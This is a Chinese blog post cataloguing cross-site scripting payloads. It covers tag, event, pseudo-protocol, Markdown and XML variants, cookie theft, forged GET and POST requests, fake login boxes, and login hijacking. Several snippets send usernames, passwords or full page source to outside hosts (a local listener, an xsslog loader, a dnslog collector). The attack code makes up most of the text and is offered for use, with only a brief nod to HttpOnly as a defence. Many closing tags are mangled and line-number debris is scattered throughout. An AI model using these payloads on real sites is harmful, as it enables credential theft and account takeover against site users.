• 详探XSS PayIoad


    1.常用基础payload

    以下内容参考d4m1ts知识库

    基于标签

    <--` --!>
    <Details Open OnToggle =co\u006efirm`XSS`>
    <SCRIPT SRC=http://damit5.kiwi/xss.js>SCRIPT>
    <SVG ONLOAD=&#97&#108&#101&#114&#116(1)>
    <a href=1 onmouseover=alert(1)>nmaska>
    <a href="javascript:confirm('xxx')" target="_blank" rel="nofollow">你可以点击我触发a>
      
    
    <body onpageshow=alert(1)>
    
    <discard onbegin=[1].find(alert)> <iframe src=javascript:alert(1)> <img src="X" onerror=top[8680439..toString(30)](1337)> <img src="x:alert" onerror="eval(src+'(0)')"> <img src=1 onmouseover=alert(1)> <img src=x onerror=setInterval`alert\x28document.domain\x29`> <img src=x onerror=setTimeout`alert\x28document.cookie\x29`> <img src=x:alert(alt) onerror=eval(src) alt=0> <input type="hidden" name="returnurl" value="" accesskey="X" onclick="alert(document.domain)" /> // <marquee onstart=alert(1)> <video autoplay onloadstart="alert()" src=x>video> <video autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">video> <video controls onloadeddata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">video> <video controls onloadedmetadata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">video> <video controls onloadstart="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">video> <video controls onloadstart="alert()"><source src=x>video> <video controls oncanplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">video> <audio autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">audio> <audio autoplay controls onplaying="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">audio> <marquee loop=1 onFinish='alert(1)'>123marquee> <noscript><p title="</noscript> src=x onerror=alert(1)>"> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="> <script>a=prompt;a(1)script> : script> <script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;script> <script>window.a==1?1:prompt(a=1)script> (1)> a html; base64"> ,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg=="> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="> <svg id="rectangle" xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100"><a xlink:href="javascript:alert(location)"><rect x="0" y="0" width="100" height="100" />a>svg> <svg><use xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+DQo8YSB4bGluazpocmVmPSJqYXZhc2NyaXB0OmFsZXJ0KGxvY2F0aW9uKSI+PHJlY3QgeD0iMCIgeT0iMCIgd2lkdGg9IjEwMCIgaGVpZ2h0PSIxMDAiIC8+PC9hPg0KPC9zdmc+#rectangle"/>svg> <embed src=javascript:alert(1)> <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always">embed> <embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==">embed>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58

    基于事件

    上面基于标签中也有很多基于事件的了,遇到可以用事件的也可以参考下上面的事件

    onclick=document.write(document.cookie)
    self[Object.keys(self)[5]]("foo") // alert("foo")
    constructor.constructor(alert(1))
    eval('alert(1)')
    [1].find(alert);
    [self.alert(1)]
    top['al\x65rt'](2);
    top["al"+"ert"](3);
    setTimeout('ale'+'rt(4)');
    Function("ale"+"rt(5)")();
    new Function`al\ert\`6\``;
    setInterval('ale'+'rt(7)');
    top[/al/.source+/ert/.source](9);
    open('java'+'script:ale'+'rt(10)');
    top[8680439..toString(30)](8);    // 使用parseInt("alert",30)生成
    self[9350252032..toString(30)](1) // confirm(1)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16

    基于伪协议

    如果URL跳转的地址可控,且存在于标签中,就可以利用伪协议来XSS

    javascript://www.baidu.com/%E2%80%A8alert(1)
    javascript:location.href='http://127.0.0.1:8999/username='+document.getElementsByName('username')[1]._value+'&password='+document.getElementsByName('password')[1]._value
    
    • 1
    • 2

    MarkDown XSS

    [a](javascript:prompt(document.cookie))
    [a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
    <&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>  
    ![a'"`onerror=prompt(document.cookie)](x)
    [notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
    [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
    ![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)
    ...
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    XML XSS

    <x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)x:script>
    <x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//brutelogic.com.br/1.js"/>
    
    • 1
    • 2

    2.Cookie劫持

    一个最常见的XSS Payload,就是通过读取浏览器的Cookie对象,从而发起“Cookie劫持”攻击

    Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。换句话说,攻击者可以不通过密码,而直接登录进用户的账户

    <script>alert(document.cookie)</script> 
    
    • 1

    这样,就完成了一个最简单的窃取Cookie的XSS Payload

    Cookie的“HttpOnly”标识可以防止“Cookie劫持”🥿

    其他手法:

    img>
    
    <img src="x" onerror="$.getScript('http://x.xsslog.cn/xxxxx')"> 
    
    
    
    
    
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    3.构造GET与POST请求

    构造GET请求:

    比如在某博客上有一篇文章,想通过XSS删除它,该如何做呢?

    例如正常删除该文章的链接是:

    http://blog.sohu.com/manage/entry.do? m=delete&id=156713012
    
    • 1

    攻击者可以通过插入一张图片来发起一个GET请求:

    var img = document.createElement("img");
    img.src = "http://blog.sohu.com/manage/entry.do? m=delete&id=156713012";
    document.body.appendChild(img);
    
    • 1
    • 2
    • 3

    构造POST请求:

    例如现在有一个表单。攻击者将通过JavaScript发出一个POST请求,提交此表单,最终发出一条新的消息

    var dd = document.createElement("div");
    document.body.appendChild(dd);
    dd.innerHTML = '
    '+ ''+ ''+ ''
    document.getElementById("xssform").submit();
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    4.XSS钓鱼

    在前文提到的“通过POST表单发消息”的案例中,如果在提交表单时要求用户输入验证码,那么一般的XSS Payload都会失效;此外,在大多数“修改用户密码”的功能中,在提交新密码前,都会要求用户输入“Old Password”。而这个“Old Password”,对于攻击者来说,往往是不知道的。

    但是,这就能限制住XSS攻击吗?答案是否定的。

    对于验证码,XSS Payload可以通过读取页面内容,将验证码的图片URL发送到远程服务器上来实施——攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload,从而绕过验证码。

    修改密码的问题稍微复杂点。为了窃取密码,攻击者可以将XSS与“钓鱼”相结合。

    实现思路很简单:利用JavaScript在当前页面上“画出”一个伪造的登录框,当用户在登录框中输入用户名与密码后,其密码将被发送至黑客的服务器上。

    例如:

    在这里插入图片描述


    5.识别用户浏览器

    最直接的莫过于通过XSS读取浏览器的UserAgent对象:

    alert(navigator.userAgent);
    
    • 1

    如下是一个典型的Chrome浏览器:

    在这里插入图片描述


    6.登陆劫持手法

    如果遇到登录页面存在XSS,那么就可以通过一些特殊的js代码来获取账号密码等,达到登陆劫持的目的

    举一些例子,可以根据实际情况修改

    输入就弹窗

    
    <input name="ccc" type="text" id="1" size="20" /><br />
    <script>
        var input = document.getElementById('1')
        input.oninput = function(){
            alert(input.value);
        }
    script>
    
    
    <input name="ccc" type="text" id="xxx" size="20" /><br />
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    修改表单的action

    <form action="xxx.php" method="post" id="sss">
    <input type="text" name="xxx" id="xxx">
    <input type="submit">
    form>
    
    
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    通过增加按钮属性

    $(".news[type=submit]")[0].setAttribute("onclick", "alert("Password:" + document.getElementsByName('Password')[0].value)")
    
    • 1

    跳转的登陆劫持

    如果跳转的链接可控,也可以劫持到数据

    redirectUrl=javascript:location.href='http://127.0.0.1:8999/username='+document.getElementsByName('username')[1]._value+'&password='+document.getElementsByName('password')[1]._value
    
    • 1

    7.获取敏感数据

    发送xhr请求获取数据

    通过xhr来获取敏感数据,有jquery更简单,只不过xhr比较通用

    纯js请求获取token -> 正则表达式:

    <script>
        var xmlhttp = new XMLHttpRequest();
        xmlhttp.open("POST","https://m.gm7.org/",true);
        xmlhttp.withCredentials = true;
        xmlhttp.send();
        xmlhttp.onreadystatechange=function()
          {
          if (xmlhttp.readyState==4 && xmlhttp.status==200)
            {
                alert(xmlhttp.responseText);
            }
        }
    script>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    获取当前页面源码

    var xmlhttp;
    if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari
        xmlhttp = new XMLHttpRequest();
    } else { // code for IE6, IE5
        xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
    }
    
    xmlhttp.open("POST", "http://dnslog.ceye.io/html_source", true);
    xmlhttp.send(escape(document.location) + "=" + encodeURIComponent(document.getElementsByTagName('html')[0].innerHTML));
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
  • 相关阅读:
    从 iPhone 15/15 Pro 恢复丢失数据的 3 种方法
    数据结构——栈和队列
    SpringBoot核心注解
    flutter开发实战-video_player播放多个视频MediaCodecVideoRenderer error问题
    2022年最新宁夏交安安全员考试模拟题库及答案
    集合导题、刷题、考试全套完整流程,专业强大的功能,提高刷题学习效率和企业的培训效率
    2022“杭电杯”中国大学生算法设计超级联赛(第一场) to be continued
    从Google开发者大会浅谈LLM的应用
    【MySQL】2.3.4-NULL字段如何参与运算(空值参与运算)
    在Linux/Ubuntu/Debian中使用7z压缩和解压文件
  • 原文地址:https://blog.csdn.net/Gherbirthday0916/article/details/127659172